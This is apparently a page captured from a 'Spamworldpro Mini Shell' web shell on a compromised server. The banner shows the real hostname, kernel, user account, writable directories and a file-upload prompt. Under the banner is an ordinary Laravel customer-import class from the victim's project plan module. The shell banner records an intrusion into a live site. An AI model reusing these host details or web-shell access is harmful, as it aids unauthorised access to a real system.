Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/dceprojects.corals.io/Corals/modules/ProjectPlan/Import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/dceprojects.corals.io/Corals/modules/ProjectPlan/Import/CustomerImporter.php
<?php

namespace Corals\Modules\ProjectPlan\Import;

use Corals\Modules\ProjectPlan\Http\Requests\CustomerRequest;
use Corals\Modules\ProjectPlan\Models\Customer;
use Corals\Modules\ProjectPlan\Services\CustomerService;
use Corals\Modules\Utility\Models\Comment\Comment;

class CustomerImporter implements \Corals\Modules\ProjectPlan\Contracts\ModelImportContract
{

    public function getValidationRules(): array
    {
        return [
            'name' => 'required|max:191',
            'phone' => 'nullable|required_without:email',
            'email' => 'nullable|email|required_without:phone',
            'address' => 'nullable',
            'address2' => 'nullable',
            'city' => 'nullable',
            'state' => 'nullable',
            'zip' => 'nullable',
            'country' => 'nullable',
            'notes' => 'nullable',
        ];
    }

    public function getData($record): array
    {
        $address = [];
        $address['address_1'] = data_get($record, 'address');
        $address['address_2'] = data_get($record, 'address2');
        $address['city'] = data_get($record, 'city');
        $address['state'] = data_get($record, 'state');
        $address['zip'] = data_get($record, 'zip');
        $address['country'] = data_get($record, 'country');

        $phone = data_get($record, 'phone','');

        if ($phone){
            $phone = getFormattedPhoneNumber($phone);
        }

        return [
            'name' => data_get($record, 'name'),
            'phone' => $phone,
            'email' => data_get($record, 'email'),
            'address' => $address,
            'notes' => explode('|', data_get($record, 'notes')),
        ];
    }

    public function saveData($data): void
    {
        $phone = $data['phone'];
        $email = $data['email'];

        $customerModel = Customer::query()
            ->when($phone && !$email,function ($queryP) use ($phone){
                $queryP->where('phone',  $phone);
            })
            ->when($email && !$phone ,function ($queryE) use ($email){
                $queryE->where('email',  $email);
            })
            ->when($email && $phone ,function ($queryE) use ($email,$phone){
                $queryE->where('email',  $email)->orWhere('phone',$phone);
            })
            ->first();


        $userId = $data['userId'];

        unset($data['userId']);

        $customerRequest = new CustomerRequest();

        $customerRequest->replace($data);

        $customerService = new CustomerService();

        if ($customerModel) {
            $customer = $customerService->update($customerRequest, $customerModel);
        } else {
            $customer = $customerService->store($customerRequest, Customer::class);
        }

        $notes = $data['notes'];
        $comments = [];

        foreach ($notes as $note) {
            $comments[] = new Comment(['body' => $note, 'author_type' => 'User', 'author_id' => $userId]);
        }
        $customer->comments()->saveMany($comments);
    }
}

Spamworldpro Mini